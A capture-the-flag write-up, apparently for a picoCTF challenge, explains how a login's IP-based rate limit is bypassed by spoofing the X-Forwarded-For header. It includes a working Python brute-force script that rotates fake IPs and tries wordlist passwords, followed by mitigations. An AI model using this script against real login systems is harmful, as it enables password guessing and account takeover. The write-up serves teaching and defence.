Vulnerability Overview
The login endpoint implemented IP-based rate limiting but trusted the client-supplied X-Forwarded-For header to determine the client's IP address. An attacker can set this header to any arbitrary value, effectively rotating identities and resetting the rate limiter counter on each batch of attempts.
Attack Design
Given a known email, a 20-entry password wordlist, and knowledge that the system trusts X-Forwarded-For, the approach was straightforward: rotate to a new fake IP every 9 requests (just below the lockout threshold) and iterate through the password list.
import requests, random
def fake_ip():
return f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
url = "http://[target]/login"
ip = fake_ip()
with open("passwords.txt") as f:
for i, line in enumerate(f):
if i % 9 == 0:
ip = fake_ip() # rotate before hitting threshold
headers = {"X-Forwarded-For": ip}
data = {"email": "ctf-player@picoctf.org", "password": line.strip()}
r = requests.post(url, headers=headers, data=data)
if "picoCTF" in r.text:
print(f"Found: {line.strip()}")
break| Control | Implementation |
|---|---|
| Account-based lockout | Lock out by username/email, not IP — an attacker can rotate IPs but not the target account |
| Validate X-Forwarded-For source | Only trust the header when it originates from a known trusted proxy IP; strip it otherwise |
| CAPTCHA after N failures | Introduces a human verification step that automated scripts cannot pass at scale |
Key Insight: IP-based rate limiting is a weak control. IPs are trivially spoofable via headers in misconfigured proxy setups, and rotatable in the real world via VPNs or residential proxies. Rate limiting tied to account identity (username or email) is significantly harder to bypass because the attacker cannot change the target credential.